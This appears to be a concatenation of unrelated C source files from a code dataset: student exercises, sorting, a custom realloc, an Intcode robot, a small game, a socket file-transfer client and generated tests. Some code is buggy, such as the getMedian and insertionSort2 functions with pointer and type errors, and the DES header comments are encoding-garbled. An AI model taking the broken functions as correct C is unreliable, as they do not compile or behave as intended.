* a list of numbers provided via the command line.
*
* It uses insertion sort (a sorting algorithm) to
* sort the list then finds i-th order elements in the
* array.
*
*/
#include<stdlib.h>
#include<stdio.h>
#include<math.h>
/**
* This function takes an array of strings and converts
* them to an array of integers
*/
int * strToIntArray(char **strings, int numStrings);
/**
* This function sorts an array of integers using
* the insertion sort algorithm.
*/
void insertionSort(int *arr, int n);
/**
* This function returns the i-th (i) order statistic of
* the given integer array (arr) which has n elements
*/
int getOrderStatistic(int *arr, int n, int i);
int getMedian(int *array, int size);
int main(int argc, char **argv) {
if (argc < 3) {
printf("Usage: %s <ith order value> <list of unique numbers>\n", argv[0]);
exit(1);
}
int ithOrder = atoi(argv[1]);
int numElements = argc - 2;
if(ithOrder < 1 || ithOrder > numElements) {
printf("The ith order value must be between 1 and %d\n", numElements);
exit(1);
}
int *numbers = strToIntArray(&argv[2], numElements);
int ithElement = getOrderStatistic(numbers, numElements, ithOrder);
int median = getMedian(numbers, numElements);
printf("The %dth element is: %d\n", ithOrder, ithElement);
printf("%d is the median\n", median);
return 0;
}
void insertionSort(int *array, int size) {
int value;
int i;
for(i=1; i<size; i++) {
value = array[i];
int j = i;
while(j > 0 && array[j-1] > value) {
array[j] = array[j-1];
j--;
}
array[j] = value;
}
}
int * strToIntArray(char **strings, int numStrings) {
int *result = (int *) malloc(sizeof(int) * numStrings);
int i;
for(i=0; i<numStrings; i++) {
result[i] = atoi(strings[i]);
}
return result;
}
int getOrderStatistic(int *arr, int n, int i) {
insertionSort(arr, n);
return arr[i-1];
}
int * insertionSort2(int *array, int size) {
int value;
int i;
int a = (int *) malloc(sizeof(int) * size);
for (int i = 0; i < size; ++i)
{
int j = i;
a[i] = array[j];
}
for(i=1; i<size; i++) {
value = a[i];
int j = i;
while(j > 0 && array[j-1] > value) {
a[j] = a[j-1];
j--;
}
a[j] = value;
}
return a;
free(a);
a = NULL;
}
int getMedian(int *array, int size){
int sortedArr = (int *) malloc(sizeof(int) * size);
sortedArr = insertionSort2(*array, size);
return sortedArr[size/2];
}
|
C
|
#include<stdio.h>
int main()
{
int l,b,h,v,t;
printf("enter the number");
scanf("%d %d %d",&l,&b,&h);
v=l*b*h;
t=2*((l*b)+(b*h)+(l*h));
printf("\nvolume is %d",v);
printf("\ntotal is %d",t);
return 0;
}
|
C
|
/*
Fichier fichier.c
Rôle : Contient les fonctions qui gèrent le fichier score.txt.
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "fichier.h"
void ecrireFichier(int *fichier, int partie, int victoire)//On écrit le résultat d'une partie dans le fichier "score.txt".
{
fichier = fopen("score.txt" , "r+");
if (fichier != NULL)
{
fseek(fichier, 0, SEEK_END);//On se place à la fin.
if(victoire == 2 || victoire == 1)
{
fprintf(fichier, "Vainqueur de la partie %d : joueur %d !\n", partie, victoire);//On écrit dans le fichier.
}
else if(victoire == 3)
{
fprintf(fichier, "Vainqueur de la partie %d : Match nul !\n", partie);//On écrit dans le fichier.
}
fclose(fichier);
}
else
{
printf("Impossibe d'ouvrir le fichier\n");
exit(1);
}
printf("\n\n");
}
void lireFichier(int *fichier, char chaine[50])//On affiche les résultats des parties dans le fichier "score.txt".
{
fichier = fopen("score.txt" , "r");
if (fichier != NULL)
{
while(fgets(chaine, 50, fichier) != NULL)//Tant qu'il y a quelque chose d'écrit sur une ligne on prend les 50 premiers caractères.
{
printf("%s", chaine);//On affiche la ligne contenu dans le fichier.
}
}
else
{
printf("\nProbleme d'ouverture de fichier\n");
exit(1);
}
fclose(fichier);
}
|
C
|
/*
** EPITECH PROJECT, 2017
** epitech
** File description:
** ls
*/
#include <sys/types.h>
#include <sys/stat.h>
#include <stdio.h>
#include <stdlib.h>
#include <dirent.h>
#include <unistd.h>
#include <pwd.h>
#include <time.h>
#include <string.h>
#include "my.h"
int cdflags(int argc, char **argv, dir_t *compt)
{
if (argc <= 1 || (argv[1][0] == '-' && argv[2] == NULL))
compt->dir = opendir(".");
else if (argc > 2) {
compt->dir = opendir(argv[compt->a]);
if (compt->dir && argc > 3)
my_printf("%s:\n", argv[compt->a]);
(compt->a)++;
} else {
compt->dir = opendir(argv[1]);
(compt->a)++;
}
if (!compt->dir)
return (84);
return (0);
}
char *take_my_argv(char **argv, dir_t *compt, int argc, char *path)
{
while (lstat(argv[compt->c + 1], &compt->stat) == -1) {
compt->c++;
}
if (argc > 2 && argv[compt->c + 1][1] != '\0')
path = argv[compt->c + 1];
else if (argc > 2 && argv[compt->c + 1][0] == '/')
path = argv[compt->c + 1];
else
path = "./";
return (path);
}
void my_show_l(sort_t *list, dir_t *compt, char **argv, int argc)
{
char *path;
if (list->name[0] != '.' || list->next != NULL)
my_total(compt, list);
while (list) {
if (list->name[0] != '.' || list->next == NULL) {
path = take_my_argv(argv, compt, argc, path);
path = my_strcat(path, list);
lstat(path, &compt->stat);
wrigth(compt);
symbo(compt);
my_printf("%s\n", list->name);
free(path);
}
list = list->next;
}
compt->c += 1;
}
sort_t *ls_flagl(int argc, char **argv, dir_t *compt)
{
sort_t *list = NULL;
if ((cdflags(argc, argv, compt) != 84 && \
((compt->stat.st_mode & S_IFMT) == S_IFDIR)) || argc <= 2) {
list = create_list(list, compt);
my_sort_names(list);
my_show_l(list, compt, argv, argc);
closedir(compt->dir);
} else {
list = build_list(argv[compt->a -1], list);
my_show_l(list, compt, argv, argc);
}
return (list);
}
sort_t *baseforl(dir_t *compt, int argc, char **argv)
{
sort_t *list = NULL;
if (argc == 2)
compt->a = 2;
if ((stat(argv[compt->a], &compt->stat) != -1 && argc > 1 \
&& (compt->stat.st_mode & S_IFMT) == S_IFDIR) || argc <= 2)
ls_flagl(argc, argv, compt);
else if ((stat(argv[compt->a], &compt->stat) != -1 && argc > 1 \
&& (compt->stat.st_mode & S_IFMT) != S_IFDIR) || argc <= 2)
ls_flagl(argc, argv, compt);
else
(compt->a)++;
if (compt->a != argc)
baseforl(compt, argc, argv);
while (list != NULL) {
free(list);
list = list->next;
}
return (list);
}
|
C
|
#include<stdio.h>
double calculategross(double);
int main()
{
double ta,grosssalary;
printf("enter basic salary=");
scanf("%lf",&ta);
grosssalary=calculategross(ta);
printf("gross salary=%lf",grosssalary);
return 0;
}
double calculategross(double bs)
{
double gs,hra,da;
da=0.35*bs;
hra=0.15*bs;
gs=bs+da+hra;
return gs;
}
|
C
|
/* ************************************************************************** */
/* */
/* ::: :::::::: */
/* my_realloc.c :+: :+: :+: */
/* +:+ +:+ +:+ */
/* By: tktorza <tktorza@student.42.fr> +#+ +:+ +#+ */
/* +#+#+#+#+#+ +#+ */
/* Created: 2017/10/03 12:05:14 by tktorza #+# #+# */
/* Updated: 2017/10/04 09:42:04 by davydevico ### ########.fr */
/* */
/* ************************************************************************** */
#include "../includes/malloc.h"
static void *ft_memcpy_realloc(void *dst, const void *src, size_t n)
{
size_t i;
char *a;
const char *b;
if (src == NULL || dst == NULL)
return (NULL);
i = 0;
a = (char *)dst;
b = (const char *)src;
while (i < n)
{
if (b[i])
a[i] = b[i];
i++;
}
return (dst);
}
static int realloc_if(t_block *one, size_t size)
{
one->size += (one->next)->size;
one->busy = size;
one->next = (one->next)->next;
return (0);
}
static void *try_to_realloc(t_page *page, t_block *one, void *ptr,
size_t size)
{
void *next;
if (one->size - sizeof(t_block) >= size || (!one->next && page->size -
page->busy >= size))
return (update_maillon(page, one, ptr, size));
else if (one->next && (one->next)->busy == 0 && one->size +
(one->next)->size - sizeof(t_block) >= size)
{
realloc_if(one, size);
return (ptr);
}
else
{
next = exec_malloc(size);
ft_memcpy_realloc(next, ptr, ((size < one->busy) ? size : one->busy));
exec_free(ptr);
return (next);
}
}
static void *to_realloc(t_value val, void *ptr, t_page *first, t_block *one)
{
if (val.size == 0)
{
exec_free(ptr);
return (exec_malloc(1));
}
ptr = try_to_realloc(first, first->block, ptr, val.size);
if (val.y != 0)
first->block = one;
return ((ptr == NULL) ? exec_malloc(val.size) : ptr);
}
void *exec_realloc(void *ptr, size_t size)
{
t_page *first;
t_block *one;
t_value val;
val.size = size;
first = g_page_one;
while (first)
{
one = first->block;
val.y = 0;
while (first->block != NULL)
{
if (ptr && ptr == memory_plus(first->block, sizeof(t_block)))
return (to_realloc(val, ptr, first, one));
first->block = first->block->next;
val.y++;
}
first->block = one;
first = first->next;
}
first = g_page_one;
return ((ptr == NULL) ? exec_malloc(size) : NULL);
}
|
C
|
//------------------------------------------------------------------------------
// DES[/ѱK ƫOŧi
// w: ò
// إ߮ɶ: 2006-11-21 22:23:33
//------------------------------------------------------------------------------
#ifndef DES_TYPES_H
#define DES_TYPES_H
//------------------------------------------------------------------------------
// DESD禡θƫO
//------------------------------------------------------------------------------
// 64bits lơC
typedef struct{
long dat32[2];
} dat64;
// 64bitơACbitOΤ@charxsC
typedef struct{
char bit[8][8];
} dat64perbit;
// 64-bitsƪ@bAP˨CbitOΤ@charxsC
typedef struct{
char bit[4][8];
} dat32perbit;
// desB⤤|ΨXWc48-bitsC
typedef struct{
char bit[8][6];
}dat48perbit;
//------------------------------------------------------------------------------
// ͥθƫO
//------------------------------------------------------------------------------
// key@PCTɭԷ|Ψ
typedef struct{
char bit[6][8];
}key48perbit;
// key|BΦƵc@xsA覡PWC
typedef struct{
char bit[8][7];
} key56perbit;
// keyb@A@bkeyc
typedef struct{
char bit[4][7];
} key28perbit;
#endif
|
C
|
#include <stdio.h>
#include <stdbool.h>
#include <stdlib.h>
#include <string.h>
#include <assert.h>
#include <gmp.h>
typedef enum {POSITION, IMMEDIATE, RELATIVE} mode;
mpz_t *param(const mode m, const long relative_base, mpz_t Intcode[], const size_t i) {
switch (m) {
case POSITION:
return &Intcode[mpz_get_ui(Intcode[i])];
case IMMEDIATE:
return &Intcode[i];
case RELATIVE:
return &Intcode[relative_base + mpz_get_si(Intcode[i])];
default:
puts("something went wrong");
exit(EXIT_FAILURE);
}
}
bool stop;
int exec(mpz_t Intcode[], const long input, size_t *const pc, long *relative_base) {
for (size_t i = *pc; !stop; ) {
const long instruction = mpz_get_ui(Intcode[i]);
const long opcode = instruction % 100;
const mode param_mode_1 = instruction % 1000 / 100;
const mode param_mode_2 = instruction % 10000 / 1000;
const mode param_mode_3 = instruction / 10000;
mpz_t *const param1 = param(param_mode_1, *relative_base, Intcode, i+1);
mpz_t *const param2 = param(param_mode_2, *relative_base, Intcode, i+2);
mpz_t *const param3 = param(param_mode_3, *relative_base, Intcode, i+3);
// gmp_printf("pc=%zu opcode=%ld\n", i, opcode);
switch (opcode) {
case 1:
mpz_add(*param3, *param1, *param2);
i += 4;
break;
case 2:
mpz_mul(*param3, *param1, *param2);
i += 4;
break;
case 3:
assert(param_mode_1 != IMMEDIATE);
mpz_set_si(*param1, input);
i += 2;
break;
case 4:
*pc = i + 2;
const int output = mpz_get_si(*param1);
assert(output == 1 || output == 0);
return output;
case 5:
if (mpz_sgn(*param1)) i = mpz_get_si(*param2);
else i += 3;
break;
case 6:
if (!mpz_sgn(*param1)) i = mpz_get_si(*param2);
else i += 3;
break;
case 7:
assert(param_mode_3 != IMMEDIATE);
if (mpz_cmp(*param1, *param2) < 0)
mpz_set_si(*param3, 1);
else
mpz_set_si(*param3, 0);
i += 4;
break;
case 8:
assert(param_mode_3 != IMMEDIATE);
if (!mpz_cmp(*param1, *param2))
mpz_set_si(*param3, 1);
else
mpz_set_si(*param3, 0);
i += 4;
break;
case 9:
*relative_base += mpz_get_si(*param1);
i += 2;
break;
case 99:
stop = true;
return -1;
default:
printf("Invalid opcode %ld\n", opcode);
return -1;
}
}
return -1;
}
typedef struct {
long x, y;
} coord;
#define MAX_PANELS 10000
typedef struct {
coord position;
int color;
} panel;
size_t robot(mpz_t *Intcode, panel *painted_panels, bool first_panel_white) {
size_t painted_panel_count = 0;
typedef enum {UP, RIGHT, DOWN, LEFT} robot_orientation;
typedef struct {
coord position;
robot_orientation orientation;
} robot_state;
stop = false;
size_t pc = 0;
robot_state robot = {0};
bool output_is_color = true;
long relative_base = 0;
while (!stop) {
int color = 0;
for (size_t i = 0; i < painted_panel_count; ++i) {
if (painted_panels[i].position.x == robot.position.x &&
painted_panels[i].position.y == robot.position.y) {
color = painted_panels[i].color;
break;
}
}
if (first_panel_white) {
color = 1;
first_panel_white = false;
}
const int output = exec(Intcode, color, &pc, &relative_base);
if (output_is_color) {
bool already_painted = false;
for (size_t i = 0; i < painted_panel_count; ++i) {
if (painted_panels[i].position.x == robot.position.x &&
painted_panels[i].position.y == robot.position.y) {
painted_panels[i].color = output;
already_painted = true;
break;
}
}
if (!already_painted) {
painted_panels[painted_panel_count].position = robot.position;
painted_panels[painted_panel_count].color = output;
++painted_panel_count;
}
assert(painted_panel_count < MAX_PANELS);
} else {
if (!output) {
robot.orientation = (robot.orientation - 1 + 4) % 4;
} else if (output == 1) {
robot.orientation = (robot.orientation + 1) % 4;
}
switch (robot.orientation) {
case UP:
++robot.position.y;
break;
case DOWN:
--robot.position.y;
break;
case LEFT:
--robot.position.x;
break;
case RIGHT:
++robot.position.x;
break;
}
}
output_is_color = !output_is_color;
}
return painted_panel_count;
}
int main(void) {
char *str = 0;
size_t size;
getdelim(&str, &size, EOF, stdin);
const size_t IntcodeSize = size * 512;
const size_t IntcodeBytes = IntcodeSize * sizeof(mpz_t);
mpz_t *Intcode = malloc(IntcodeBytes);
for (size_t i = 0; i < IntcodeSize; ++i) {
mpz_init_set_si(Intcode[i], 0);
}
size_t count = 0;
char *token = strtok(str, ",");
while(token) {
mpz_set_si(Intcode[count], atol(token));
++count;
token = strtok(0, ",");
}
free(str);
mpz_t *IntcodeCopy = malloc(IntcodeBytes);
memcpy(IntcodeCopy, Intcode, IntcodeBytes);
panel painted_panels[MAX_PANELS] = {0};
const size_t painted_panel_count = robot(Intcode, painted_panels, 0);
printf("Part One: %zu\n", painted_panel_count);
const size_t painted_panel_count2 = robot(IntcodeCopy, painted_panels, 1);
printf("Part Two: %zu\n", painted_panel_count2);
for (int y = -5; y <= 0; ++y) {
for (int x = 0; x < 64; ++x) {
bool found = false;
for (size_t i = 0; i < painted_panel_count2; ++i) {
if (painted_panels[i].position.x == x &&
painted_panels[i].position.y == y) {
if (painted_panels[i].color) {
found = true;
putchar('#');
}
break;
}
}
if (!found) putchar('.');
}
putchar('\n');
}
free(Intcode);
free(IntcodeCopy);
}
|
C
|
#ifndef v1beta1_csi_storage_capacity_TEST
#define v1beta1_csi_storage_capacity_TEST
// the following is to include only the main from the first c file
#ifndef TEST_MAIN
#define TEST_MAIN
#define v1beta1_csi_storage_capacity_MAIN
#endif // TEST_MAIN
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <stdbool.h>
#include "../external/cJSON.h"
#include "../model/v1beta1_csi_storage_capacity.h"
v1beta1_csi_storage_capacity_t* instantiate_v1beta1_csi_storage_capacity(int include_optional);
#include "test_v1_object_meta.c"
#include "test_v1_label_selector.c"
v1beta1_csi_storage_capacity_t* instantiate_v1beta1_csi_storage_capacity(int include_optional) {
v1beta1_csi_storage_capacity_t* v1beta1_csi_storage_capacity = NULL;
if (include_optional) {
v1beta1_csi_storage_capacity = v1beta1_csi_storage_capacity_create(
"0",
"0",
"0",
"0",
// false, not to have infinite recursion
instantiate_v1_object_meta(0),
// false, not to have infinite recursion
instantiate_v1_label_selector(0),
"0"
);
} else {
v1beta1_csi_storage_capacity = v1beta1_csi_storage_capacity_create(
"0",
"0",
"0",
"0",
NULL,
NULL,
"0"
);
}
return v1beta1_csi_storage_capacity;
}
#ifdef v1beta1_csi_storage_capacity_MAIN
void test_v1beta1_csi_storage_capacity(int include_optional) {
v1beta1_csi_storage_capacity_t* v1beta1_csi_storage_capacity_1 = instantiate_v1beta1_csi_storage_capacity(include_optional);
cJSON* jsonv1beta1_csi_storage_capacity_1 = v1beta1_csi_storage_capacity_convertToJSON(v1beta1_csi_storage_capacity_1);
printf("v1beta1_csi_storage_capacity :\n%s\n", cJSON_Print(jsonv1beta1_csi_storage_capacity_1));
v1beta1_csi_storage_capacity_t* v1beta1_csi_storage_capacity_2 = v1beta1_csi_storage_capacity_parseFromJSON(jsonv1beta1_csi_storage_capacity_1);
cJSON* jsonv1beta1_csi_storage_capacity_2 = v1beta1_csi_storage_capacity_convertToJSON(v1beta1_csi_storage_capacity_2);
printf("repeating v1beta1_csi_storage_capacity:\n%s\n", cJSON_Print(jsonv1beta1_csi_storage_capacity_2));
}
int main() {
test_v1beta1_csi_storage_capacity(1);
test_v1beta1_csi_storage_capacity(0);
printf("Hello world \n");
return 0;
}
#endif // v1beta1_csi_storage_capacity_MAIN
#endif // v1beta1_csi_storage_capacity_TEST
|
C
|
/* ************************************************************************** */
/* */
/* ::: :::::::: */
/* sl_press_key.c :+: :+: :+: */
/* +:+ +:+ +:+ */
/* By: jpyo <jpyo@student.42.fr> +#+ +:+ +#+ */
/* +#+#+#+#+#+ +#+ */
/* Created: 2021/06/30 16:05:26 by jpyo #+# #+# */
/* Updated: 2021/07/04 17:17:22 by jpyo ### ########.fr */
/* */
/* ************************************************************************** */
#include "../../includes/so_long.h"
static void sl_player_move_north(t_sl_data *data, int x, int y)
{
char *front;
front = &data->map.grid[y - 1][x];
data->player.view_dir = NORTH;
if (*front == '1')
return ;
else if (*front == 'W' || *front == 'w' || *front == 'c')
exit(0);
else if (*front == 'C')
{
data->map.collect--;
*front = '0';
}
else if (*front == 'E' && data->map.collect == 0)
exit(0);
else if (*front == 'E')
{
*front = '0';
data->map.grid[y][x] = 'p';
}
ft_swap_char(front, &data->map.grid[y][x]);
data->player.pos_y--;
sl_enemy_move(data, 0, 0);
sl_player_move(data);
}
static void sl_player_move_south(t_sl_data *data, int x, int y)
{
char *front;
front = &data->map.grid[y + 1][x];
data->player.view_dir = SOUTH;
if (*front == '1')
return ;
else if (*front == 'W' || *front == 'w' || *front == 'c')
exit(0);
else if (*front == 'C')
{
data->map.collect--;
*front = '0';
}
else if (*front == 'E' && data->map.collect == 0)
exit(0);
else if (*front == 'E')
{
*front = '0';
data->map.grid[y][x] = 'p';
}
ft_swap_char(front, &data->map.grid[y][x]);
data->player.pos_y++;
sl_enemy_move(data, 0, 0);
sl_player_move(data);
}
static void sl_player_move_west(t_sl_data *data, int x, int y)
{
char *front;
front = &data->map.grid[y][x - 1];
data->player.view_dir = WEST;
if (*front == '1')
return ;
else if (*front == 'W' || *front == 'w' || *front == 'c')
exit(0);
else if (*front == 'C')
{
data->map.collect--;
*front = '0';
}
else if (*front == 'E' && data->map.collect == 0)
exit(0);
else if (*front == 'E')
{
*front = '0';
data->map.grid[y][x] = 'p';
}
ft_swap_char(front, &data->map.grid[y][x]);
data->player.pos_x--;
sl_enemy_move(data, 0, 0);
sl_player_move(data);
}
static void sl_player_move_east(t_sl_data *data, int x, int y)
{
char *front;
front = &data->map.grid[y][x + 1];
data->player.view_dir = EAST;
if (*front == '1')
return ;
else if (*front == 'W' || *front == 'w' || *front == 'c')
exit(0);
else if (*front == 'C')
{
data->map.collect--;
*front = '0';
}
else if (*front == 'E' && data->map.collect == 0)
exit(0);
else if (*front == 'E')
{
*front = '0';
data->map.grid[y][x] = 'p';
}
ft_swap_char(front, &data->map.grid[y][x]);
data->player.pos_x++;
sl_enemy_move(data, 0, 0);
sl_player_move(data);
}
int sl_press_key(const int key, t_sl_data *data)
{
int x;
int y;
x = data->player.pos_x;
y = data->player.pos_y;
if (data->map.grid[y][x] == 'p')
return (sl_press_key2(key, data, x, y));
if (key == KEY_ESC)
exit(0);
else if (key == KEY_W)
sl_player_move_north(data, x, y);
else if (key == KEY_S)
sl_player_move_south(data, x, y);
else if (key == KEY_A)
sl_player_move_west(data, x, y);
else if (key == KEY_D)
sl_player_move_east(data, x, y);
return (0);
}
|
C
|
#include "lib_acl.h"
#include <assert.h>
#include "netio.h"
static int __max = 1000;
static char __server_addr[64];
static ACL_VSTREAM *__sstream;
static int __finish = 0;
typedef struct {
char buf[1024];
} DATA;
typedef struct {
int cmd;
#define CMD_NOOP 0
#define CMD_STOP 1
DATA *data;
} IO_MSG;
static void server_listen(void)
{
char addr[] = "127.0.0.1:0";
__sstream = acl_vstream_listen(addr, 64);
assert(__sstream);
snprintf(__server_addr, sizeof(__server_addr), "%s", __sstream->local_addr);
}
static void server_listen_stop(void)
{
if (__sstream)
acl_vstream_close(__sstream);
}
static void *client_thread(void *arg acl_unused)
{
ACL_VSTREAM *client;
int i;
IO_MSG msg;
DATA *data;
time_t begin, end;
client = acl_vstream_connect(__server_addr, ACL_BLOCKING, 10, 10, 1024);
assert(client);
data = (DATA *) acl_mymalloc(sizeof(DATA));
msg.cmd = CMD_NOOP;
msg.data = data;
(void) time(&begin);
for (i = 0; i < __max; i++) {
if (acl_vstream_writen(client, &msg, sizeof(IO_MSG)) == ACL_VSTREAM_EOF) {
printf("write to server error(%s)\r\n", acl_last_serror());
break;
}
if (acl_vstream_readn(client, &msg, sizeof(IO_MSG)) == ACL_VSTREAM_EOF) {
printf("read from server error(%s)\r\n", acl_last_serror());
break;
}
}
(void) time(&end);
__finish = 1;
sleep(1);
printf("max loop: %d, time=%ld\r\n", __max, (long int)(end - begin));
printf("send stop msg to server thread\r\n");
msg.cmd = CMD_STOP;
if (acl_vstream_writen(client, &msg, sizeof(IO_MSG)) == ACL_VSTREAM_EOF) {
printf("write to server error(%s)\r\n", acl_last_serror());
} else {
printf("wait server thread respond\r\n");
if (acl_vstream_readn(client, &msg, sizeof(IO_MSG)) == ACL_VSTREAM_EOF)
printf("read server's respond error(%s)\r\n", acl_last_serror());
}
acl_myfree(data);
acl_vstream_close(client);
printf("OK, client exit now\r\n");
return (NULL);
}
static void *server_thread(void *arg acl_unused)
{
ACL_VSTREAM *client;
IO_MSG msg;
client = acl_vstream_accept(__sstream, NULL, 0);
assert(client);
server_listen_stop();
while (1) {
if (acl_vstream_readn(client, &msg, sizeof(IO_MSG)) == ACL_VSTREAM_EOF) {
printf("read from client error(%s)\r\n", acl_last_serror());
break;
}
if (acl_vstream_writen(client, &msg, sizeof(IO_MSG)) == ACL_VSTREAM_EOF) {
printf("write to client error(%s)\r\n", acl_last_serror());
break;
}
if (msg.cmd == CMD_STOP) {
break;
}
}
acl_vstream_close(client);
sleep(1);
printf("server thread exit now\r\n");
return (NULL);
}
static void *waiter_thread(void *arg acl_unused)
{
acl_vstream_printf("netio running ...\r\n");
while (1) {
if (__finish == 1)
break;
acl_vstream_printf(".");
sleep(1);
}
acl_vstream_printf("\r\n");
return (NULL);
}
void netio_run(int max)
{
acl_pthread_t id_client, id_server, id_waiter;
acl_pthread_attr_t attr;
void *ptr;
__max = max > 0 ? max : 1000;
printf("max loop: %d\r\n", __max);
server_listen();
acl_pthread_attr_init(&attr);
acl_pthread_create(&id_server, &attr, server_thread, NULL);
acl_pthread_create(&id_client, &attr, client_thread, NULL);
acl_pthread_create(&id_waiter, &attr, waiter_thread, NULL);
acl_pthread_join(id_client, &ptr);
acl_pthread_join(id_waiter, &ptr);
acl_pthread_join(id_server, &ptr);
acl_pthread_attr_destroy(&attr);
}
|
C
|
/*
* IsUnique.c
*
* Created on: Dec. 27, 2019
* Author: Jonathan Cui
*/
#include <stdbool.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#define CHARSET 128
bool bitVectorGet(int * bitVector, int index){
bitVector += index / (sizeof(int) * 8);
index %= (sizeof(int) * 8);
return (*bitVector) & (1 << index);
}
bool bitVectorSetTrue(int * bitVector, int index){
int setterbit = 1;
bitVector += index / (sizeof(int) * 8);
index %= sizeof(int) * 8;
*bitVector = (*bitVector) | (setterbit << index);
return setterbit;
}
//First solution using a bit vector
bool isUnique(char * str){
if (strlen(str) > CHARSET) return false;
int numInts = (CHARSET + sizeof(int) - 1)/ sizeof(int);
int * bitVector = calloc(numInts, 8);
for(int i = 0; i < strlen(str); i++){
char letter = str[i];
if(bitVectorGet(bitVector, letter)) return false;
bitVectorSetTrue(bitVector, letter);
}
return true;
}
int main(void){
printf("isUnique of AaBbCcDdEe12093845 is: %d\n",isUnique("AaBbCcDdEe12093845"));
printf("isUnique of asdf is: %d\n",isUnique("asdf"));
printf("isUnique of tes123 is: %d\n",isUnique("tes123"));
printf("isUnique of abcdefghijklmnopqrs is: %d\n",isUnique("abcdefghijklmnopqrs"));
}
|
C
|
#include "rendererTests.h"
#include <sys/timeb.h>
void runPerformanceTests(void);
// TODO: come up with tests
void runRendererTests() {
runPerformanceTests();
}
// MBP performance: ~50ms for HD on single thread
void rayThroughPixelPerformance() {
int WIDTH = 1280, HEIGHT = 720;
Camera camera;
Matrix4x4 trans[] = {getXRotationMatrix(0, 0),
getTranslationMatrix(0, -20, 170)};
Matrix4x4 camToWorld = getTransformationMatrix(trans, 2);
camera.width = WIDTH;
camera.height = HEIGHT;
camera.fov = 60;
camera.cameraToWorld = camToWorld;
Ray3D ray;
Vector3D rayp, rayv;
ray.p = rayp;
ray.v = rayv;
struct timeb start, end;
int diff;
ftime(&start);
applyTransformation(&ORIGIN_3D, &camera.cameraToWorld, &ray.p);
for (int y = 0; y < HEIGHT; y++) {
for (int x = 0; x < WIDTH; x++) {
constructRayThroughPixel(&camera, x, y, WIDTH, HEIGHT, &ray, 1);
}
}
ftime(&end);
diff =
(int)(1000.0 * (end.time - start.time) + (end.millitm - start.millitm));
printf("Ray through pixel performance test \n");
printf(" Resolution: %dx%x \n", WIDTH, HEIGHT);
printf(" Total rays constructed: %d \n", WIDTH * HEIGHT);
printf(" Total time: %d ms \n", diff);
}
void runPerformanceTests() {
rayThroughPixelPerformance();
}
|
C
|
#include <stdio.h>
#define SIZE 6
int queue[SIZE] = { 0, };
int rear = -1, front = 0;
int add(int data) {
if (rear == SIZE - 1) {
printf("Queue is full!\n");
return -1;
}
queue[++rear] = data;
return 0;
}
int delete() {
if (front > rear) {
printf("Queue is empty!\n");
return -1;
}
return queue[front++];
}
int main(void) {
add(10);
add(20);
add(30);
printf(" % d\n", delete());
printf(" % d\n", delete());
printf(" % d\n", delete());
printf(" % d\n", delete());
return 0;
}
|
C
|
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <sys/stat.h>
#include <fcntl.h>
#define LIST "LIST"
#define UPLOAD "UPLOAD"
#define DOWNLOAD "DOWNLOAD"
char requete[256];
char reponse[256];
void listFiles_cli(int sock) {
printf("requete %s \n", requete);
/* envois */
if (write(sock, requete, sizeof(requete)) == -1) {
perror("write");
exit(1);
}
/* reponse */
if (read(sock, reponse, sizeof(reponse)) == -1) {
perror("read");
exit(1);
}
printf("Reponse : %s\n", reponse);
}
void upload_cli(int sock) {
printf("srv requete %s \n", requete);
if (write(sock, requete, sizeof(requete)) == -1) {
perror("read");
exit(1);
}
printf("nom de fichier >>> ");
fscanf(stdin, "%s", requete);
if (write(sock, requete, sizeof(requete)) == -1) {
perror("read");
exit(1);
}
int f;
if ((f = open(requete, O_RDONLY | O_EXCL, 0600)) == -1) {
perror("open");
}
memset(requete, 0, 256);
while (read(f, requete, sizeof(requete)) > 0) {
printf("r : %s\n", requete);
if (write(sock, requete, sizeof(requete)) == -1) {
perror("read");
exit(1);
}
}
close(f);
}
void download_cli(int sock) {
printf("srv requete %s \n", requete);
if (write(sock, requete, sizeof(requete)) == -1) {
perror("read");
exit(1);
}
printf("nom de fichier >>> ");
fscanf(stdin, "%s", requete);
if (write(sock, requete, sizeof(requete)) == -1) {
perror("read");
exit(1);
}
if (read(sock, requete, sizeof(requete)) == -1) {
perror("read");
exit(1);
}
printf("retour : %s\n",requete);
if (strcmp(requete, "ERROR") == 0) {
printf("nom de fichier inexistant %s", requete);
exit(-1);
}
int f;
if ((f = open(requete, O_WRONLY | O_CREAT | O_TRUNC, 0600)) == -1) {
perror("open");
}
printf("telechargement\n");
memset(requete, 0, 256);
while (read(sock, requete, sizeof(requete)) > 0) {
printf("r : %s\n", requete);
if (write(f, requete, sizeof(requete)) == -1) {
perror("read");
exit(1);
}
}
close(f);
}
int main(int argc, char *argv[]) {
int sc_cnx;
struct sockaddr_in dest; /* Nom du serveur */
int fromlen = sizeof(dest);
if (argc != 3) {
printf("error syntaxe : %s 127.0.0.1 2000 \n", argv[0]);
exit(1);
}
/* creation TCP socket */
if ((sc_cnx = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
perror("socket");
exit(1);
}
char *ip = argv[1];
short port = (short) atoi(argv[2]);
/* Remplir address dest */
memset((char *) &dest, 0, sizeof(dest));
if (inet_aton(ip, &(dest.sin_addr)) == 0) {
fprintf(stdout, "invalide \n");
exit(2);
}
dest.sin_family = AF_INET;
dest.sin_port = htons(port);
/* Etablir la connexion */
if (connect(sc_cnx, (struct sockaddr *) &dest, sizeof(dest)) == -1) {
perror("connect");
exit(1);
}
/****** TRAITEMENT *********/
memset(requete, 0, 256);
memset(reponse, 0, 256);
printf("ftp_client >>> ");
fscanf(stdin, "%s", requete);
if (strcmp(requete, LIST) == 0) {
listFiles_cli(sc_cnx);
} else if (strcmp(requete, UPLOAD) == 0) {
upload_cli(sc_cnx);
} else if (strcmp(requete, DOWNLOAD) == 0) {
download_cli(sc_cnx);
} else {
printf("requete inconnu \n");
}
/* Fermer la connexion */
shutdown(sc_cnx, 2);
close(sc_cnx);
return (0);
}
|
C
|
/* This is the "simple" version of the test program */
/* Definitions go first */
int myFirst;
float theSecond;
float myThird;
/* There is no "main" program, just blocks */
// THIS FILE USES float and integer VALUES and declares float and integer TYPES
// so := A lot of warnings.
{
// myFirst := 134.0 + 10.0;
// theSecond := myFirst / 12;
// myThird := 37;
myFirst := 50.5 + 50;
theSecond := myFirst / 100;
myThird := 37;
}
|
C
|
/*
** EPITECH PROJECT, 2019
** my_getnbr
** File description:
** convert a string into a number
*/
